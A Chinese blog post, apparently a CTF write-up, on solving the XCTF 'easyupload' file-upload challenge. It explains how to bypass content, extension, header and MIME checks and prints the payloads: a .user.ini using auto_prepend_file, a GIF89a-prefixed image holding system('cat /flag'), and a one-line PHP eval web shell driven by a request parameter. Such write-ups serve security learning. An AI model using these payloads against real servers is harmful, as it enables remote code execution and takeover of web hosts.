IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 攻防世界ctf题目easyupload做题笔记。 -> 正文阅读

[PHP知识库]攻防世界ctf题目easyupload做题笔记。

刚刷完upload-labs靶场,做做ctf题目,发现自己掌握的知识并不牢固。做了半天没有解出来,最后还是看别人的题解做出来的。写下做题过程,也就是wp吧。为了方便以后复习巩固。

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

  • 检查文件内容是否有php字符串
  • 检查后缀中是否有htaccess或ph
  • 检查文件头部信息
  • 文件MIME类型

?对于第一点可以利用短标签绕过,例如<?=phpinfo();?>(这同时也是我的知识盲区)

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,

可以参考以下文章

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

知识点:在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。

这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。
其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

知识点:

auto_prepend_file 表示加载第一个PHP代码之前执行指示(包含的)PHP文件
auto_append_file 表示加载第一个PHP代码之后执行指示(包含的)PHP文件
简单来说

auto_prepend_file = <filename>         //包含在文件头
auto_append_file = <filename>          //包含在文件尾
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。

第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

知识点:

一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。

?php下检测(使用getimagesize函数无法判断其图片是无效的)

第四点绕过方法即修改上传时的Content-Type为image/jpg

得到flag过程:

上传.user.ini,内容为:

GIF89a                  
auto_prepend_file=a.jpg

上传a.jpg,内容为:

GIF89a
<?=system('cat /flag');?>

GIF89a

<?=eval($_REQUEST['cmd']);?>

上传成功根据文件地址连接蚁剑获取flag

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-09-04 00:50:49  更:2022-09-04 00:51:23 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/5 4:42:48-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码